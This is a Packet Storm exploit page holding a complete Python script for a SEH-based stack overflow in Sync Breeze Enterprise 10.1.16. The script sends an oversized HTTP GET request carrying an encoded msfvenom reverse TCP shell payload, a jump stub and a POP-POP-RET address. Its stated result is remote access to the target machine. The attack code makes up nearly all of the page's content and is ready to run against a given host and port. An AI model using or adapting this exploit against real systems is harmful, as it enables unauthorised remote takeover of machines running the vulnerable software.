Twenty Year Anniversary

Sync Breeze Enterprise 10.1.16 SEH Overflow

Sync Breeze Enterprise 10.1.16 SEH Overflow
Posted Oct 12, 2017
Authored by wetw0rk

Sync Breeze Enterprise version 10.1.16 GET request SEH overflow exploit.

tags | exploit, overflow
MD5 | 7a8b6d116bd658a23c1459d137a8d833

Sync Breeze Enterprise 10.1.16 SEH Overflow

Change Mirror Download
#!/usr/bin/env python
#
# Exploit Title : Sync Breeze Enterprise v10.1.16 0day
# Date : 10/11/2017
# Vendor HomePage : http://www.syncbreeze.com
# Exploit Author : Milton Valencia (wetw0rk)
# Software : http://www.syncbreeze.com/downloads.html
# Version : 10.1.16
# Tested on : Windows 7 (x86)
#
# Description : Sync Breeze Enterprise 10.1.16 suffers from a SEH based
# vulnerability. Successful exploitation results in remote
# access.
#
# Special Greetz : Corelan, Offsec, Abatchy (top llama), Seamus, N4ss4r
# Ryan, Miguel (best boss..), everyone at https://netsecfocus.slack.com/
#

import sys, socket, struct

try:
host = sys.argv[1]
port = int(sys.argv[2])

except IndexError:

print "Usage: %s <target> <port>" % sys.argv[0]
print "Example: %s 192.168.0.16 80" % sys.argv[0]
sys.exit(0)

print "[->] Attacking %s:%d get that handler up" % (host,port)

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.16 LPORT=443
# -e x86/alpha_upper -b "\x00\x0a\x0d" -f c
shellcode = (
"\x89\xe3\xda\xdf\xd9\x73\xf4\x5e\x56\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a\x48\x4c\x42\x33\x30"
"\x35\x50\x53\x30\x33\x50\x4b\x39\x4a\x45\x46\x51\x39\x50\x35"
"\x34\x4c\x4b\x30\x50\x46\x50\x4c\x4b\x46\x32\x44\x4c\x4c\x4b"
"\x36\x32\x42\x34\x4c\x4b\x53\x42\x46\x48\x54\x4f\x4e\x57\x30"
"\x4a\x56\x46\x56\x51\x4b\x4f\x4e\x4c\x37\x4c\x55\x31\x43\x4c"
"\x34\x42\x36\x4c\x47\x50\x59\x51\x58\x4f\x44\x4d\x43\x31\x38"
"\x47\x4d\x32\x5a\x52\x50\x52\x46\x37\x4c\x4b\x30\x52\x42\x30"
"\x4c\x4b\x31\x5a\x37\x4c\x4c\x4b\x50\x4c\x54\x51\x54\x38\x4b"
"\x53\x30\x48\x55\x51\x38\x51\x50\x51\x4c\x4b\x51\x49\x37\x50"
"\x35\x51\x59\x43\x4c\x4b\x50\x49\x54\x58\x4b\x53\x57\x4a\x30"
"\x49\x4c\x4b\x46\x54\x4c\x4b\x53\x31\x59\x46\x50\x31\x4b\x4f"
"\x4e\x4c\x59\x51\x48\x4f\x34\x4d\x45\x51\x38\x47\x57\x48\x4b"
"\x50\x53\x45\x5a\x56\x43\x33\x53\x4d\x4c\x38\x47\x4b\x43\x4d"
"\x46\x44\x53\x45\x4a\x44\x36\x38\x4c\x4b\x31\x48\x46\x44\x35"
"\x51\x4e\x33\x52\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x50\x58"
"\x45\x4c\x33\x31\x48\x53\x4c\x4b\x44\x44\x4c\x4b\x43\x31\x58"
"\x50\x4c\x49\x50\x44\x36\x44\x36\x44\x51\x4b\x51\x4b\x35\x31"
"\x31\x49\x31\x4a\x36\x31\x4b\x4f\x4d\x30\x31\x4f\x51\x4f\x31"
"\x4a\x4c\x4b\x55\x42\x5a\x4b\x4c\x4d\x31\x4d\x32\x48\x46\x53"
"\x50\x32\x53\x30\x35\x50\x33\x58\x34\x37\x34\x33\x30\x32\x31"
"\x4f\x56\x34\x53\x58\x50\x4c\x33\x47\x46\x46\x45\x57\x4b\x4f"
"\x39\x45\x38\x38\x5a\x30\x35\x51\x45\x50\x35\x50\x36\x49\x49"
"\x54\x46\x34\x46\x30\x35\x38\x37\x59\x4d\x50\x42\x4b\x33\x30"
"\x4b\x4f\x59\x45\x56\x30\x56\x30\x30\x50\x36\x30\x47\x30\x36"
"\x30\x57\x30\x46\x30\x42\x48\x5a\x4a\x44\x4f\x39\x4f\x4d\x30"
"\x4b\x4f\x4e\x35\x5a\x37\x43\x5a\x44\x45\x32\x48\x39\x50\x4f"
"\x58\x45\x50\x42\x30\x32\x48\x43\x32\x43\x30\x45\x51\x4f\x4b"
"\x4d\x59\x4a\x46\x43\x5a\x32\x30\x31\x46\x51\x47\x43\x58\x4d"
"\x49\x4e\x45\x54\x34\x33\x51\x4b\x4f\x48\x55\x4d\x55\x49\x50"
"\x54\x34\x34\x4c\x4b\x4f\x50\x4e\x55\x58\x43\x45\x4a\x4c\x33"
"\x58\x4c\x30\x38\x35\x4e\x42\x31\x46\x4b\x4f\x49\x45\x43\x58"
"\x55\x33\x52\x4d\x33\x54\x35\x50\x4d\x59\x5a\x43\x46\x37\x30"
"\x57\x51\x47\x50\x31\x5a\x56\x32\x4a\x52\x32\x51\x49\x36\x36"
"\x4d\x32\x4b\x4d\x52\x46\x4f\x37\x51\x54\x31\x34\x37\x4c\x33"
"\x31\x55\x51\x4c\x4d\x50\x44\x31\x34\x42\x30\x58\x46\x33\x30"
"\x47\x34\x31\x44\x46\x30\x31\x46\x56\x36\x46\x36\x51\x56\x46"
"\x36\x50\x4e\x50\x56\x56\x36\x31\x43\x30\x56\x53\x58\x32\x59"
"\x58\x4c\x47\x4f\x4b\x36\x4b\x4f\x4e\x35\x4c\x49\x4b\x50\x30"
"\x4e\x46\x36\x50\x46\x4b\x4f\x36\x50\x42\x48\x53\x38\x4b\x37"
"\x35\x4d\x45\x30\x4b\x4f\x59\x45\x4f\x4b\x4c\x30\x38\x35\x4f"
"\x52\x56\x36\x33\x58\x4f\x56\x4a\x35\x4f\x4d\x4d\x4d\x4b\x4f"
"\x48\x55\x57\x4c\x34\x46\x33\x4c\x34\x4a\x4d\x50\x4b\x4b\x4d"
"\x30\x44\x35\x33\x35\x4f\x4b\x51\x57\x34\x53\x42\x52\x42\x4f"
"\x53\x5a\x35\x50\x46\x33\x4b\x4f\x48\x55\x41\x41"
)

# objdump2shellcode -d shellcode -f python -c -v jumpcode
jumpcode = ""
jumpcode += "\x25\x4a\x4d\x4e\x55" # and eax,0x554e4d4a
jumpcode += "\x25\x35\x32\x31\x2a" # and eax,0x2a313235
jumpcode += "\x2d\x37\x37\x37\x37" # sub eax,0x37373737
jumpcode += "\x2d\x74\x74\x74\x74" # sub eax,0x74747474
jumpcode += "\x2d\x55\x54\x55\x70" # sub eax,0x70555455
jumpcode += "\x50" # push eax
jumpcode += "\x25\x4a\x4d\x4e\x55" # and eax,0x554e4d4a
jumpcode += "\x25\x35\x32\x31\x2a" # and eax,0x2a313235
jumpcode += "\x2d\x2d\x76\x7a\x63" # sub eax,0x637a762d
jumpcode += "\x2d\x2d\x76\x7a\x30" # sub eax,0x307a762d
jumpcode += "\x2d\x25\x50\x7a\x30" # sub eax,0x307a5025
jumpcode += "\x50" # push eax
jumpcode += "\xff\xe4" # jmp esp

offset = "A" * (2495-len(shellcode)) # offset to nSEH
nSEH = "\x74\x06\x75\x06" # JE/JNZ -> jumpcode
SEH = struct.pack('<L', 0x1001C65C) # POP,POP,RET (libspp.dll)
trigger = "D" * (9067 - len(
jumpcode +
offset +
nSEH +
SEH
)
)

buffer = shellcode + offset + nSEH + SEH + jumpcode + trigger

vulnREQ = "GET /%s HTTP/1.1\r\n\r\n" % (buffer)
print "[->] sending poisonous bamboo"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send(vulnREQ)

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

August 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    19 Files
  • 2
    Aug 2nd
    17 Files
  • 3
    Aug 3rd
    16 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    1 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    15 Files
  • 8
    Aug 8th
    9 Files
  • 9
    Aug 9th
    7 Files
  • 10
    Aug 10th
    10 Files
  • 11
    Aug 11th
    1 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    14 Files
  • 14
    Aug 14th
    18 Files
  • 15
    Aug 15th
    38 Files
  • 16
    Aug 16th
    16 Files
  • 17
    Aug 17th
    22 Files
  • 18
    Aug 18th
    3 Files
  • 19
    Aug 19th
    3 Files
  • 20
    Aug 20th
    21 Files
  • 21
    Aug 21st
    7 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close